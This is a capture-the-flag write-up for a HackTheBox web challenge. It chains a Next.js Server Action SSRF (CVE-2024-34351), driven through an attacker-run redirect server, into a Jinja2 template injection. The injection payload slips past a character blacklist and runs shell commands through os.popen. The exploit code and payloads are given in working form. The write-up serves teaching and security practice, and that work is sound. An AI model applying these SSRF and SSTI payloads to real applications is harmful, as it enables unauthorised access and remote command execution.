Note
A Next.js redirect() Server Action trusts the Host header (CVE-2024-34351), so a forged Host + attacker redirect server turns the app into an SSRF proxy onto the internal AV service on localhost:3000. That Flask app feeds ?directory= into render_template_string with a brutal blacklist (no _ . [ ] {{ }} x \\); rebuild __globals__→__builtins__→__import__('os').popen via {% %} blocks, request|attr(), and GET params smuggling the banned strings.
Doxpit — Next.js Server-Action SSRF (CVE-2024-34351) → Jinja2 SSTI RCE
Platform: HackTheBox · Category: Web (server-side) · Stack: Next.js 14 front-end (public) + internal Flask "AV scanner" on localhost:3000
Challenge overview
A doxbin clone. The public app is Next.js; an internal Flask "antivirus scanner" runs on
127.0.0.1:3000 and is where the real bug lives. The flag has a randomized name (flag<rand>.txt at
/), so we need RCE. Two stages: SSRF to reach the internal app, then SSTI inside it.
Step 1 — SSRF into the internal app (CVE-2024-34351)
The front-end has a Server Action that calls redirect():
"use server";
import { redirect } from "next/navigation";
export async function doRedirect() { redirect("/error"); }
Next.js < 14.1.1 builds the absolute URL for an action redirect from the Host/Origin headers
(CVE-2024-34351). During SSR the server fetches that URL and returns the body to us — a full SSRF
proxy. To steer it onto localhost:3000 we point Host at our own server and have it answer the
follow-up with a 302 to the internal target:
# ssrf_server.py — HEAD returns text/x-component, everything else 302s to the internal app
@app.route('/<path:path>')
def catch(path):
if request.method == 'HEAD':
return Response("", headers={'Content-Type': 'text/x-component'})
return redirect('https://0.0.0.0:3000') # internal AV app
Send the Server-Action POST with Host/Origin = your redirect server and the challenge's
Next-Action id. Next.js HEADs then GETs your server, follows the 302 to localhost:3000, and hands
the internal response back to you — so you can register/login and drive the AV app through the proxy.
Step 2 — Jinja2 SSTI behind a savage blacklist
The AV app scans a user-supplied directory and stuffs it into render_template_string:
invalid_chars = ["{{", "}}", ".", "_", "[", "]", "\\", "x"]
...
if any(char in directory for char in invalid_chars): abort(400)
template_content = template_content.replace("{{ results.scanned_directory }}", results["scanned_directory"])
return render_template_string(template_content, results=results) # SSTI sink
{{ }} is banned but {% %} statement blocks are not, and print() works:
?directory={%print(7*7)%} -> 49
The blacklist kills _, ., [, ], x, \. Bypass it with request|attr(...) and by smuggling the
banned identifier strings through other GET parameters (request.args), which aren't filtered:
?directory={%print(request|attr('args'))%}&globals=__globals__ # the literal "__globals__" lives in args, not in `directory`
Walk application(=wsgi app).__globals__['__builtins__']['__import__']('os').popen(cmd).read() using
with + attr + args.get:
{%with output =
request|attr('application')
|attr(request|attr('args')|attr('get')('globals')) # __globals__
|attr('get')(request|attr('args')|attr('get')('builtins')) # __builtins__
|attr('get')(request|attr('args')|attr('get')('import'))('os') # __import__('os')
|attr('popen')(request|attr('args')|attr('get')('cmd'))
|attr('read')()
%}{%print(output)%}{%endwith%}
&globals=__globals__&builtins=__builtins__&import=__import__&cmd=cat /flag<rand>.txt
This is just {{ request.application.__globals__['__builtins__']['__import__']('os').popen(cmd).read() }}
re-expressed without any blacklisted character. (os|attr('popen')('id') ≡ getattr(os,'popen')('id').)
Flag: HTB{1t5_n0t_ju5t_4_fr0nt-3nd!}
Takeaways (generalized techniques)
- Next.js Server-Action SSRF (CVE-2024-34351): pre-14.1.1, the redirect URL for a Server Action is
derived from
Host/Origin. Forge those to your server, answer the SSR fetch with a 302 to an internal target, and the app proxies the internal response back to you. Watch for the preflight HEAD (it expectsContent-Type: text/x-component). - Jinja2 SSTI with
{{ }}and_/.blocked: use{% ... %}blocks ({%print(...)%},{%with%}), reach attributes with theattrfilter, and smuggle banned literal strings via other request parameters (request.args.get('x')) so the forbidden characters never appear in the filtered field. Canonical RCE goal:request.application.__globals__['__builtins__']['__import__']('os').popen. - Two-app challenges: a hardened public front-end often just guards a soft internal service; the bug is "reach the internal app," then exploit it normally.
Sources & references
- Challenge source:
hackthebox/web/doxpit - Assetnote — Next.js SSRF research: https://www.assetnote.io/resources/research/digging-for-ssrf-in-nextjs-apps
- Jinja2 filter bypasses: https://0day.work/jinja2-template-injection-filter-bypasses/